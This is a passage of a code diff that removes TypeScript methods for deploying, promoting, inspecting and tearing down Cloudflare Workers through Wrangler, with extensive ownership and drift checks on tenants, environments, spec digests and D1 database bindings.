-      if (plainText.get('FLEET_SPEC_DIGEST') !== digest) {
-        throw new Error(
-          `Worker version '${id}' has a mismatched fleet specification digest`,
-        );
-      }
-      if (plainText.get('FLEET_INGRESS_CONTRACT') === PLAIN_INGRESS_CONTRACT) {
-        matches.push(id);
-      }
-    }
-    return matches;
-  }
-
-  async #findCandidate(
-    spec: DeploymentSpec,
-    versions?: readonly unknown[],
-  ): Promise<string | undefined> {
-    const digest = deploymentSpecDigest(spec);
-    const matches = await this.#matchingCandidateIds(spec, versions);
-    if (matches.length > 1) {
-      throw new Error(
-        `multiple Worker versions use fleet specification tag '${digest}'`,
-      );
-    }
-    return matches[0];
-  }
-
-  async #expectedCandidate(
-    spec: DeploymentSpec,
-    artifactVersion: string,
-    versions?: readonly unknown[],
-  ): Promise<string> {
-    const listed = versions ?? (await this.#listVersions(spec));
-    if (!listed?.some((version) => versionId(version) === artifactVersion)) {
-      throw new Error(
-        `Worker '${spec.scriptName}' is missing persisted artifact version '${artifactVersion}'`,
-      );
-    }
-    const version = await this.#viewVersion(spec, artifactVersion);
-    const plainText = this.#plainTextBindings(version);
-    if (
-      plainText.get('FLEET_SPEC_DIGEST') !== deploymentSpecDigest(spec) ||
-      plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT
-    ) {
-      throw new Error(
-        `Worker '${spec.scriptName}' persisted artifact version '${artifactVersion}' has drifted`,
-      );
-    }
-    return artifactVersion;
-  }
-
-  #databaseIds(version: unknown): readonly string[] {
-    const resources = field(version, 'resources');
-    return asArray(field(resources, 'bindings')).flatMap((binding) => {
-      if (field(binding, 'type') !== 'd1') return [];
-      const id = field(binding, 'id') ?? field(binding, 'database_id');
-      return typeof id === 'string' ? [id] : [];
-    });
-  }
-
-  async #assertExistingWorkerIdentity(
-    spec: DeploymentSpec,
-    databaseId: string,
-    deployment: DeploymentStatus,
-  ): Promise<void> {
-    if (deployment.versions.length === 0) {
-      throw new Error(
-        `refusing to upload over existing Worker '${spec.scriptName}' without a deployed version`,
-      );
-    }
-    for (const deployed of deployment.versions) {
-      const version = await this.#viewVersion(spec, deployed.id);
-      const plainText = this.#plainTextBindings(version);
-      const databaseIds = this.#databaseIds(version);
-      const digest = plainText.get('FLEET_SPEC_DIGEST');
-      if (
-        databaseIds.length !== 1 ||
-        databaseIds[0] !== databaseId ||
-        plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
-        plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
-        !digest ||
-        !isSha256(digest)
-      ) {
-        throw new Error(
-          `refusing to upload over existing Worker '${spec.scriptName}' with drifted tenant, environment, or D1 ownership`,
-        );
-      }
-    }
-  }
-
-  async #attestWorkerOwnership(
-    spec: DeploymentSpec,
-    persistedDatabaseId?: string,
-  ): Promise<string | undefined> {
-    const [status, versions] = await Promise.all([
-      this.#deploymentStatus(spec),
-      this.#listVersions(spec),
-    ]);
-    if (!status && (!versions || versions.length === 0)) return undefined;
-    const candidateId = await this.#findCandidate(spec, versions);
-    if (!candidateId) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' without its exact fleet specification`,
-      );
-    }
-    const [version, databaseId] = await Promise.all([
-      this.#viewVersion(spec, candidateId),
-      persistedDatabaseId
-        ? Promise.resolve(persistedDatabaseId)
-        : this.findDatabase(spec).then((database) => database?.id),
-    ]);
-    const digest = deploymentSpecDigest(spec);
-    const plainText = this.#plainTextBindings(version);
-    const databaseIds = this.#databaseIds(version);
-    if (
-      !databaseId ||
-      databaseIds.length !== 1 ||
-      databaseIds[0] !== databaseId ||
-      plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
-      plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
-      plainText.get('FLEET_SPEC_DIGEST') !== digest
-    ) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' with drifted tenant, environment, specification, or D1 ownership`,
-      );
-    }
-    for (const deployed of status?.versions ?? []) {
-      const deployedVersion = await this.#viewVersion(spec, deployed.id);
-      const deployedPlainText = this.#plainTextBindings(deployedVersion);
-      const deployedDatabaseIds = this.#databaseIds(deployedVersion);
-      const deployedDigest = deployedPlainText.get('FLEET_SPEC_DIGEST');
-      if (
-        deployedDatabaseIds.length !== 1 ||
-        deployedDatabaseIds[0] !== databaseId ||
-        deployedPlainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
-        deployedPlainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
-        !deployedDigest ||
-        !isSha256(deployedDigest)
-      ) {
-        throw new Error(
-          `refusing to mutate Worker '${spec.scriptName}' with a drifted deployed version`,
-        );
-      }
-    }
-    return candidateId;
-  }
-
-  async #attestPersistedWorkerOwnership(
-    spec: DeploymentSpec,
-    databaseId: string,
-    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
-    activeRelease: ExternalReleaseSnapshot | undefined,
-  ): Promise<string | undefined> {
-    const allowed = [activeRelease, ...(retainedReleases ?? [])].filter(
-      (release): release is ExternalReleaseSnapshot => release !== undefined,
-    );
-    if (allowed.length === 0) {
-      return this.#attestWorkerOwnership(spec, databaseId);
-    }
-    const [status, versions] = await Promise.all([
-      this.#deploymentStatus(spec),
-      this.#listVersions(spec),
-    ]);
-    if (!status && (!versions || versions.length === 0)) return undefined;
-    if (!status || status.versions.length === 0) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' without an attestable current deployment`,
-      );
-    }
-    const releasesByVersion = new Map(
-      allowed.map((release) => [release.artifactVersion, release]),
-    );
-    for (const deployed of status.versions) {
-      const release = releasesByVersion.get(deployed.id);
-      if (!release) {
-        throw new Error(
-          `refusing to mutate Worker '${spec.scriptName}' with a current deployment outside its persisted artifact set`,
-        );
-      }
-      const version = await this.#viewVersion(spec, deployed.id);
-      const plainText = this.#plainTextBindings(version);
-      const databaseIds = this.#databaseIds(version);
-      if (
-        databaseIds.length !== 1 ||
-        databaseIds[0] !== databaseId ||
-        plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
-        plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
-        plainText.get('FLEET_SPEC_DIGEST') !== release.specDigest ||
-        plainText.get('FLEET_SCHEMA_VERSION') !==
-          String(release.releaseSchemaVersion)
-      ) {
-        throw new Error(
-          `refusing to mutate Worker '${spec.scriptName}' with drifted persisted artifact ownership`,
-        );
-      }
-    }
-    return status.versions[0]?.id;
-  }
-
-  async #attestTeardownWorkerOwnership(
-    spec: DeploymentSpec,
-    databaseId: string,
-    retainedReleases: readonly ExternalReleaseSnapshot[] | undefined,
-    activeRelease: ExternalReleaseSnapshot | undefined,
-  ): Promise<string | undefined> {
-    const releases = [activeRelease, ...(retainedReleases ?? [])].filter(
-      (release): release is ExternalReleaseSnapshot => release !== undefined,
-    );
-    const allowed = releases.filter(
-      (release) => release.physicalScriptName === spec.scriptName,
-    );
-    if (releases.length > 0 && allowed.length === 0) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' without a matching persisted release`,
-      );
-    }
-    const [status, versions, footprint, namespaceIds] = await Promise.all([
-      this.#deploymentStatus(spec),
-      this.#listVersions(spec),
-      this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName),
-      this.#routeApi.listDurableObjectNamespaces(spec.scriptName),
-    ]);
-    const listed = versions ?? [];
-    if (!status && listed.length === 0) {
-      if (
-        footprint.scriptPresent ||
-        footprint.customDomains.length > 0 ||
-        footprint.zoneRoutes.length > 0 ||
-        namespaceIds.length > 0
-      ) {
-        throw new Error(
-          `refusing to mutate Worker '${spec.scriptName}' with an inconsistent script footprint`,
-        );
-      }
-      return undefined;
-    }
-    if (!status || !footprint.scriptPresent || listed.length === 0) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' without consistent live deployment, version, and provider footprints`,
-      );
-    }
-    const validInventory = listed.map((version) => {
-      const id = versionId(version);
-      if (!id) {
-        throw new Error(
-          `refusing to mutate Worker '${spec.scriptName}' with an invalid version inventory`,
-        );
-      }
-      return { id, tag: versionTag(version) };
-    });
-    const listedIds = validInventory.map(({ id }) => id);
-    if (new Set(listedIds).size !== listedIds.length) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' with a duplicate version inventory`,
-      );
-    }
-    type ReleaseIdentity = Readonly<{
-      specDigest: string;
-      releaseSchemaVersion: number;
-    }>;
-    const desiredIdentity: ReleaseIdentity = {
-      specDigest: deploymentSpecDigest(spec),
-      releaseSchemaVersion: spec.schemaVersion,
-    };
-    const viewedVersions = new Map<string, unknown>();
-    const view = async (id: string): Promise<unknown> => {
-      const cached = viewedVersions.get(id);
-      if (cached !== undefined) return cached;
-      const version = await this.#viewVersion(spec, id);
-      viewedVersions.set(id, version);
-      return version;
-    };
-    const assertIdentity = (
-      version: unknown,
-      expectedReleases: readonly ReleaseIdentity[],
-    ): void => {
-      const plainText = this.#plainTextBindings(version);
-      const databaseIds = this.#databaseIds(version);
-      const release = expectedReleases.find(
-        (candidate) =>
-          candidate.specDigest === plainText.get('FLEET_SPEC_DIGEST') &&
-          String(candidate.releaseSchemaVersion) ===
-            plainText.get('FLEET_SCHEMA_VERSION'),
-      );
-      if (
-        !release ||
-        databaseIds.length !== 1 ||
-        databaseIds[0] !== databaseId ||
-        plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
-        plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
-        plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT
-      ) {
-        throw new Error(
-          `refusing to mutate Worker '${spec.scriptName}' with drifted live teardown ownership`,
-        );
-      }
-    };
-    let anchorId: string | undefined;
-    if (allowed.length > 0) {
-      for (const release of allowed) {
-        let anchor: unknown;
-        try {
-          anchor = await view(release.artifactVersion);
-        } catch (error) {
-          if (isWranglerNotFound(error)) continue;
-          throw error;
-        }
-        assertIdentity(anchor, [release]);
-        anchorId = release.artifactVersion;
-        break;
-      }
-    } else {
-      const taggedAnchor = validInventory.find(
-        ({ tag }) => tag === desiredIdentity.specDigest,
-      );
-      if (taggedAnchor) {
-        assertIdentity(await view(taggedAnchor.id), [desiredIdentity]);
-        anchorId = taggedAnchor.id;
-      }
-    }
-    if (!anchorId) {
-      throw new Error(
-        `refusing to mutate Worker '${spec.scriptName}' without a trusted artifact version anchor`,
-      );
-    }
-    const expectedReleases: readonly ReleaseIdentity[] =
-      allowed.length > 0 ? allowed : [desiredIdentity];
-    for (const deployed of status.versions) {
-      assertIdentity(await view(deployed.id), expectedReleases);
-    }
-    return status.versions[0]?.id;
-  }
-
-  async assertDatabaseDetached(
-    spec: DeploymentSpec,
-    record: FleetRecord,
-    database: DatabaseReference,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    await this.#assertMutationFence(fence);
-    if (
-      record.backend !== this.kind ||
-      record.tenantTag !== spec.tenantTag ||
-      record.environment !== spec.environment ||
-      record.scriptName !== spec.scriptName ||
-      record.databaseName !== spec.databaseName ||
-      record.databaseId !== database.id ||
-      record.databaseName !== database.name ||
-      record.routeHostname !== spec.routeHostname ||
-      record.desiredSpecDigest !== deploymentSpecDigest(spec)
-    ) {
-      throw new Error(
-        `refusing to attest database detachment for mismatched fleet record '${record.tenantTag}:${record.environment}'`,
-      );
-    }
-    const databaseAttachments =
-      await this.#routeApi.listWorkerDatabaseAttachments(database.id);
-    if (databaseAttachments.length > 0) {
-      throw new Error(
-        `database '${record.databaseId}' remains attached to ${databaseAttachments
-          .map(
-            (attachment) =>
-              `${attachment.plane} Worker '${attachment.scriptName}'`,
-          )
-          .join(', ')}`,
-      );
-    }
-    const [status, versions, domains, footprint, namespaceIds] =
-      await Promise.all([
-        this.#deploymentStatus(spec),
-        this.#listVersions(spec),
-        this.#routeApi.listCustomDomains(),
-        this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName),
-        this.#routeApi.listDurableObjectNamespaces(spec.scriptName),
-      ]);
-    const routeFootprint = domains.filter(
-      (domain) =>
-        domain.service === spec.scriptName ||
-        domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(),
-    );
-    const hasWranglerVersions = Boolean(versions && versions.length > 0);
-    if (!status && !hasWranglerVersions && !footprint.scriptPresent) {
-      if (
-        routeFootprint.length > 0 ||
-        footprint.customDomains.length > 0 ||
-        footprint.zoneRoutes.length > 0 ||
-        namespaceIds.length > 0
-      ) {
-        throw new Error(
-          `database '${record.databaseId}' has a residual route or Durable Object namespace footprint`,
-        );
-      }
-      await this.#assertMutationFence(fence);
-      return;
-    }
-    if (!status && !hasWranglerVersions && footprint.scriptPresent) {
-      throw new Error(
-        `database '${record.databaseId}' has an ordinary Worker footprint that Wrangler cannot attest`,
-      );
-    }
-    if ((status || hasWranglerVersions) && !footprint.scriptPresent) {
-      throw new Error(
-        `database '${record.databaseId}' has inconsistent authoritative and Wrangler Worker footprints`,
-      );
-    }
-    let ownedWorker: string | undefined;
-    try {
-      ownedWorker = await this.#attestWorkerOwnership(spec, record.databaseId);
-    } catch (cause) {
-      throw new Error(
-        `database '${record.databaseId}' has a foreign or mismatched Worker footprint`,
-        { cause },
-      );
-    }
-    if (!ownedWorker) {
-      const [
-        reconciledStatus,
-        reconciledVersions,
-        reconciledDomains,
-        reconciledFootprint,
-        reconciledNamespaceIds,
-      ] = await Promise.all([
-        this.#deploymentStatus(spec),
-        this.#listVersions(spec),
-        this.#routeApi.listCustomDomains(),
-        this.#routeApi.inspectOrdinaryWorkerFootprint(spec.scriptName),
-        this.#routeApi.listDurableObjectNamespaces(spec.scriptName),
-      ]);
-      const reconciledRoute = reconciledDomains.some(
-        (domain) =>
-          domain.service === spec.scriptName ||
-          domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(),
-      );
-      const hasReconciledVersions = Boolean(
-        reconciledVersions && reconciledVersions.length > 0,
-      );
-      if (
-        !reconciledStatus &&
-        !hasReconciledVersions &&
-        !reconciledRoute &&
-        !reconciledFootprint.scriptPresent &&
-        reconciledFootprint.customDomains.length === 0 &&
-        reconciledFootprint.zoneRoutes.length === 0 &&
-        reconciledNamespaceIds.length === 0
-      ) {
-        await this.#assertMutationFence(fence);
-        return;
-      }
-      throw new Error(
-        `database '${record.databaseId}' detachment changed during attestation`,
-      );
-    }
-    throw new Error(
-      `database '${record.databaseId}' remains attached to owned Worker '${spec.scriptName}'`,
-    );
-  }
-
-  async #customDomain(
-    hostname: string,
-  ): Promise<PlainWorkerCustomDomain | undefined> {
-    const normalized = hostname.toLowerCase();
-    const matches = (await this.#routeApi.listCustomDomains()).filter(
-      (domain) => domain.hostname.toLowerCase() === normalized,
-    );
-    if (matches.length > 1) {
-      throw new Error(`custom domain '${hostname}' has duplicate ownership`);
-    }
-    return matches[0];
-  }
-
-  async #attestPromotionRoute(
-    spec: DeploymentSpec,
-    guard: PromotionGuard,
-  ): Promise<PlainWorkerCustomDomain | undefined> {
-    const current = await this.#customDomain(spec.routeHostname);
-    if (!current) {
-      if (!guard.allowUnrouted) {
-        throw new Error(
-          `custom domain '${spec.routeHostname}' is unexpectedly absent during promotion`,
-        );
-      }
-      return undefined;
-    }
-    if (!guard.allowedCurrentScriptNames.includes(current.service)) {
-      throw new Error(
-        `custom domain '${spec.routeHostname}' is owned by unexpected Worker '${current.service}'`,
-      );
-    }
-    return current;
-  }
-
-  async #deployCandidateAtZero(
-    spec: DeploymentSpec,
-    candidateId: string,
-    fence: ExternalMutationFence,
-  ): Promise<void> {
-    const current = await this.#deploymentStatus(spec);
-    if (!current) {
-      throw new Error(
-        `existing Worker '${spec.scriptName}' has no active deployment`,
-      );
-    }
-    if (current.versions.some((version) => version.id === candidateId)) return;
-    const versionSpecs = [
-      ...current.versions.map(
-        (version) => `${version.id}@${version.percentage}%`,
-      ),
-      `${candidateId}@0%`,
-    ];
-    try {
-      await this.#runMutation(fence, [
-        'versions',
-        'deploy',
-        ...versionSpecs,
-        '--name',
-        spec.scriptName,
-        '-y',
-      ]);
-    } catch (error) {
-      const reconciled = await this.#deploymentStatus(spec);
-      if (!reconciled?.versions.some((version) => version.id === candidateId)) {
-        throw error;
-      }
-    }
-  }
-
-  #requireMaintenanceDigest(
-    spec: DeploymentSpec,
-    maintenance: MaintenanceHealth,
-  ): void {
-    const expected = deploymentSpecDigest(spec);
-    if (maintenance.deploymentSpecDigest !== expected) {
-      throw new Error(
-        `maintenance response did not attest fleet specification digest '${expected}'`,
-      );
-    }
-  }
-
-  async deployWorker(
-    spec: DeploymentSpec,
-    database: DatabaseReference,
-    secrets: DeploymentSecrets,
-    _platformResources: ExternalPlatformResources | undefined,
-    fence: ExternalMutationFence,
-    expectedArtifactVersion?: string,
-    application?: import('./types.js').ApplicationBindingTopology,
-  ): Promise<{ artifactVersion: string; created: boolean }> {
-    if (spec.authoredBy !== 'platform') {
-      throw new Error('Wrangler loop refuses externally authored Workers');
-    }
-    if (
-      spec.durableObjectBindings.some(
-        (binding) =>
-          binding.scriptName !== undefined ||
-          binding.dispatchNamespace !== undefined,
-      )
-    ) {
-      throw new Error(
-        'Wrangler loop supports only local Durable Object bindings',
-      );
-    }
-    const directory = await mkdtemp(join(tmpdir(), 'anchorage-fleet-'));
-    try {
-      const deployment = await this.#deploymentStatus(spec);
-      const versions = await this.#listVersions(spec);
-      const workerExisted = deployment !== undefined || versions !== undefined;
-      const priorVersionIds = new Set(
-        (versions ?? []).map((version) => {
-          const id = versionId(version);
-          if (!id) {
-            throw new Error('wrangler versions list result has no version id');
-          }
-          return id;
-        }),
-      );
-      let candidateId = expectedArtifactVersion
-        ? await this.#expectedCandidate(spec, expectedArtifactVersion, versions)
-        : undefined;
-      const pendingDurableObjectMigration =
-        targetDurableObjectTag(spec) !== spec.previousDurableObjectTag;
-      if (deployment && pendingDurableObjectMigration) {
-        throw new Error(
-          `existing Worker '${spec.scriptName}' has a pending Durable Object lifecycle migration; plain-Worker updates require an immediate/manual migration boundary`,
-        );
-      }
-      if (deployment) {
-        await this.#assertExistingWorkerIdentity(spec, database.id, deployment);
-      }
-      if (
-        candidateId &&
-        deployment?.versions.some((version) => version.id === candidateId)
-      ) {
-        return { artifactVersion: candidateId, created: false };
-      }
-      for (const module of spec.modules) {
-        const modulePath = resolve(directory, module.name);
-        if (!modulePath.startsWith(`${directory}/`)) {
-          throw new Error(
-            `module '${module.name}' escapes the staging directory`,
-          );
-        }
-        await mkdir(resolve(modulePath, '..'), { recursive: true });
-        await writeFile(modulePath, module.content);
-      }
-      const ingressModule = plainWorkerIngressModule(spec);
-      await writeFile(
-        join(directory, ingressModule.name),
-        ingressModule.content,
-      );
-      const configPath = join(directory, 'wrangler.candidate.json');
-      await writeFile(
-        configPath,
-        JSON.stringify({
-          name: spec.scriptName,
-          main: ingressModule.name,
-          workers_dev: true,
-          preview_urls: false,
-          compatibility_date: spec.compatibilityDate,
-          compatibility_flags: spec.compatibilityFlags,
-          vars: {
-            DEPLOYMENT_TENANT: spec.tenantTag,
-            FLEET_ENVIRONMENT: spec.environment,
-            FLEET_SCHEMA_VERSION: String(spec.schemaVersion),
-            FLEET_SPEC_DIGEST: deploymentSpecDigest(spec),
-            FLEET_INGRESS_CONTRACT: PLAIN_INGRESS_CONTRACT,
-            ...Object.fromEntries(
-              (
-                application?.vars ?? canonicalApplicationBindings(spec).vars
-              ).map(({ name, value }) => [name, value]),
-            ),
-          },
-          d1_databases: [
-            {
-              binding: 'DB',
-              database_name: database.name,
-              database_id: database.id,
-            },
-          ],
-          durable_objects: {
-            bindings: spec.durableObjectBindings.map((binding) => ({
-              name: binding.name,
-              class_name: binding.className,
-            })),
-          },
-          services: spec.egressProxyService
-            ? [
-                {
-                  binding: 'EGRESS_PROXY',
-                  service: spec.egressProxyService,
-                },
-              ]
-            : undefined,
-          ...(deployment
-            ? {}
-            : {
-                migrations: spec.durableObjectMigrations.map((migration) => ({
-                  tag: migration.tag,
-                  new_sqlite_classes: migration.newSqliteClasses,
-                  new_classes: migration.newClasses,
-                  deleted_classes: migration.deletedClasses,
-                  renamed_classes: migration.renamedClasses,
-                })),
-              }),
-          queues: spec.queueProducer
-            ? {
-                producers: [
-                  {
-                    binding: spec.queueProducer.binding,
-                    queue: spec.queueProducer.queueName,
-                  },
-                ],
-              }
-            : undefined,
-          r2_buckets: (application?.r2Buckets ?? []).map((binding) => ({
-            binding: binding.name,
-            bucket_name: binding.bucketName,
-          })),
-          limits: spec.cpuLimitMs ? { cpu_ms: spec.cpuLimitMs } : undefined,
-        }),
-      );
-      const secretsPath = join(directory, 'wrangler.secrets.json');
-      await writeFile(
-        secretsPath,
-        JSON.stringify({
-          DEPLOYMENT_IDENTITY_SECRET: secrets.deploymentIdentity,
-          MAINTENANCE_ADMIN_SECRET: secrets.maintenanceAdmin,
-          ...applicationSecretValues(spec, secrets),
-        }),
-        { mode: 0o600 },
-      );
-      const digest = deploymentSpecDigest(spec);
-      try {
-        if (!candidateId) {
-          const command = deployment ? ['versions', 'upload'] : ['deploy'];
-          let mutationError: unknown;
-          try {
-            await this.#runMutation(fence, [
-              ...command,
-              '--config',
-              configPath,
-              '--secrets-file',
-              secretsPath,
-              '--tag',
-              digest,
-            ]);
-          } catch (error) {
-            mutationError = error;
-          }
-          const operationCandidates = (
-            await this.#matchingCandidateIds(spec)
-          ).filter((id) => !priorVersionIds.has(id));
-          if (operationCandidates.length !== 1) {
-            if (mutationError) throw mutationError;
-            throw new Error(
-              `wrangler ${command.join(' ')} did not create exactly one new tagged Worker version`,
-            );
-          }
-          const operationCandidate = operationCandidates[0];
-          if (!operationCandidate) {
-            throw new Error('new Worker candidate has no artifact version');
-          }
-          candidateId = operationCandidate;
-        }
-        if (deployment) {
-          await this.#deployCandidateAtZero(spec, candidateId, fence);
-        } else {
-          const initial = await this.#deploymentStatus(spec);
-          const selected = initial?.versions.find(
-            (version) => version.id === candidateId,
-          );
-          if (selected?.percentage !== 100) {
-            throw new Error(
-              `initial Worker '${spec.scriptName}' did not deploy its tagged version at 100%`,
-            );
-          }
-        }
-        return { artifactVersion: candidateId, created: !workerExisted };
-      } catch (cause) {
-        if (workerExisted) {
-          throw new WorkerDeploymentError({
-            message: `failed to update existing Worker '${spec.scriptName}'`,
-            cause,
-            createdByAttempt: false,
-            resourceState: 'present',
-          });
-        }
-        const cleanupErrors: unknown[] = [];
-        const cleanupRelease: ExternalReleaseSnapshot | undefined = candidateId
-          ? {
-              physicalScriptName: spec.scriptName,
-              specDigest: digest,
-              artifactVersion: candidateId,
-              releaseSchemaVersion: spec.schemaVersion,
-            }
-          : undefined;
-        let trafficRemoved = false;
-        try {
-          await this.removeTraffic(
-            spec,
-            undefined,
-            cleanupRelease,
-            database,
-            fence,
-          );
-          await this.assertTrafficRemoved(spec);
-          trafficRemoved = true;
-        } catch (cleanupError) {
-          cleanupErrors.push(cleanupError);
-        }
-        if (trafficRemoved) {
-          try {
-            await this.revokeCredentials(
-              spec,
-              undefined,
-              cleanupRelease,
-              database,
-              fence,
-            );
-          } catch (cleanupError) {
-            cleanupErrors.push(cleanupError);
-          }
-          try {
-            await this.deleteWorker(
-              spec,
-              undefined,
-              database,
-              cleanupRelease,
-              fence,
-            );
-          } catch (cleanupError) {
-            cleanupErrors.push(cleanupError);
-          }
-        }
-        if (cleanupErrors.length > 0) {
-          throw new WorkerDeploymentError({
-            message: `failed to install credentials and clean up '${spec.scriptName}'`,
-            cause: new AggregateError([cause, ...cleanupErrors]),
-            createdByAttempt: true,
-            resourceState: 'unknown',
-          });
-        }
-        throw new WorkerDeploymentError({
-          message: `failed to install Worker '${spec.scriptName}'`,
-          cause,
-          createdByAttempt: true,
-          resourceState: 'absent',
-        });
-      }
-    } finally {
-      await rm(directory, { recursive: true, force: true });
-    }
-  }
-
-  async promoteWorker(
-    spec: DeploymentSpec,
-    guard: PromotionGuard,
-    _outboundPolicy: DeploymentEgressPolicy | undefined,
-    fence: ExternalMutationFence,
-    expectedArtifactVersion?: string,
-  ): Promise<void> {
-    if (!expectedArtifactVersion) {
-      throw new Error(
-        'plain Worker promotion requires a persisted artifact version',
-      );
-    }
-    const candidateId = await this.#expectedCandidate(
-      spec,
-      expectedArtifactVersion,
-    );
-    if (!candidateId) {
-      throw new Error(
-        `Worker '${spec.scriptName}' has no version for the desired fleet specification`,
-      );
-    }
-    const current = await this.#deploymentStatus(spec);
-    if (!current?.versions.some((version) => version.id === candidateId)) {
-      throw new Error(
-        `Worker candidate '${candidateId}' is not in the current deployment`,
-      );
-    }
-    await this.#attestPromotionRoute(spec, guard);
-    const promoted =
-      current.versions.length === 1 &&
-      current.versions[0]?.id === candidateId &&
-      current.versions[0].percentage === 100;
-    if (!promoted) {
-      try {
-        await this.#runMutation(fence, [
-          'versions',
-          'deploy',
-          `${candidateId}@100%`,
-          '--name',
-          spec.scriptName,
-          '-y',
-        ]);
-      } catch (error) {
-        const reconciled = await this.#deploymentStatus(spec);
-        if (
-          reconciled?.versions.length !== 1 ||
-          reconciled.versions[0]?.id !== candidateId ||
-          reconciled.versions[0].percentage !== 100
-        ) {
-          throw error;
-        }
-      }
-    }
-    const beforeAttach = await this.#attestPromotionRoute(spec, guard);
-    if (beforeAttach?.service !== spec.scriptName) {
-      await this.#assertMutationFence(fence);
-      await this.#routeApi.attachCustomDomain(
-        {
-          hostname: spec.routeHostname,
-          service: spec.scriptName,
-        },
-        fence,
-      );
-    }
-    const attached = await this.#customDomain(spec.routeHostname);
-    if (attached?.service !== spec.scriptName) {
-      throw new Error(
-        `custom domain '${spec.routeHostname}' did not attest Worker '${spec.scriptName}' after promotion`,
-      );
-    }
-  }
-
-  async ensureMaintenance(
-    spec: DeploymentSpec,
-    maintenanceAdminSecret: string,
-    fence: ExternalMutationFence,
-    expectedArtifactVersion?: string,
-  ): Promise<MaintenanceHealth> {
-    if (!expectedArtifactVersion) {
-      throw new Error(
-        'plain Worker maintenance requires a persisted artifact version',
-      );
-    }
-    const candidateId = await this.#expectedCandidate(
-      spec,
-      expectedArtifactVersion,
-    );
-    const current = await this.#deploymentStatus(spec);
-    if (
-      !candidateId ||
-      !current?.versions.some((version) => version.id === candidateId)
-    ) {
-      throw new Error('desired Worker candidate is not deployed');
-    }
-    if (this.#maintenanceRequestTimeoutMs >= fence.mutationLeaseTtlMs) {
-      throw new Error(
-        'maintenance request timeout must be below the external mutation fence lease TTL',
-      );
-    }
-    await this.#assertMutationFence(fence);
-    const maintenance = await readMaintenanceHealth(
-      await this.#fetch(maintenanceUrl(spec, '/admin/ensure-maintenance'), {
-        method: 'POST',
-        signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs),
-        headers: {
-          authorization: `Bearer ${maintenanceAdminSecret}`,
-          'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${candidateId}"`,
-        },
-      }),
-    );
-    this.#requireMaintenanceDigest(spec, maintenance);
-    return maintenance;
-  }
-
-  async inspect(
-    spec: DeploymentSpec,
-    maintenanceAdminSecret: string,
-    expectedArtifactVersion?: string,
-  ): Promise<LiveDeployment | undefined> {
-    const status = await this.#deploymentStatus(spec);
-    if (!status) return undefined;
-    const candidateId = expectedArtifactVersion
-      ? await this.#expectedCandidate(spec, expectedArtifactVersion)
-      : await this.#findCandidate(spec);
-    const candidateDeployed =
-      candidateId !== undefined &&
-      status.versions.some((version) => version.id === candidateId);
-    const active = status.versions.find((version) => version.percentage > 0);
-    const artifactVersion = candidateDeployed ? candidateId : active?.id;
-    if (!artifactVersion) {
-      throw new Error('wrangler deployment status has no active version');
-    }
-    const version = await this.#viewVersion(spec, artifactVersion);
-    const resources = field(version, 'resources');
-    const bindings = asArray(field(resources, 'bindings'));
-    const databaseIds = bindings.flatMap((binding) => {
-      if (field(binding, 'type') !== 'd1') return [];
-      const id = field(binding, 'id') ?? field(binding, 'database_id');
-      return typeof id === 'string' ? [id] : [];
-    });
-    const durableObjectBindings = bindings.flatMap((binding) => {
-      if (field(binding, 'type') !== 'durable_object_namespace') return [];
-      const id = field(binding, 'namespace_id');
-      const name = field(binding, 'name');
-      const className = field(binding, 'class_name');
-      return typeof id === 'string' &&
-        typeof name === 'string' &&
-        typeof className === 'string'
-        ? [{ name, className, namespaceId: id }]
-        : [];
-    });
-    const serviceBindings = bindings.flatMap((binding) => {
-      if (field(binding, 'type') !== 'service') return [];
-      const name = field(binding, 'name');
-      const service = field(binding, 'service');
-      return typeof name === 'string' && typeof service === 'string'
-        ? [{ name, service }]
-        : [];
-    });
-    const queueProducerBindings = bindings.flatMap((binding) => {
-      if (field(binding, 'type') !== 'queue') return [];
-      const name = field(binding, 'name');
-      const queueName = field(binding, 'queue_name');
-      return typeof name === 'string' && typeof queueName === 'string'
-        ? [{ name, queueName }]
-        : [];
-    });
-    const r2BucketBindings = bindings
-      .flatMap((binding) => {
-        if (field(binding, 'type') !== 'r2_bucket') return [];
-        const name = field(binding, 'name');
-        const bucketName = field(binding, 'bucket_name');
-        return typeof name === 'string' && typeof bucketName === 'string'
-          ? [{ name, bucketName, jurisdiction: 'default' as const }]
-          : [];
-      })
-      .sort((left, right) => left.name.localeCompare(right.name));
-    const plainText = this.#plainTextBindings(version);
-    const expectedServiceBindings = spec.egressProxyService
-      ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }]
-      : [];
-    const expectedQueueProducerBindings = spec.queueProducer
-      ? [
-          {
-            name: spec.queueProducer.binding,
-            queueName: spec.queueProducer.queueName,
-          },
-        ]
-      : [];
-    if (
-      databaseIds.length !== 1 ||
-      plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
-      plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
-      JSON.stringify(serviceBindings) !==
-        JSON.stringify(expectedServiceBindings) ||
-      JSON.stringify(queueProducerBindings) !==
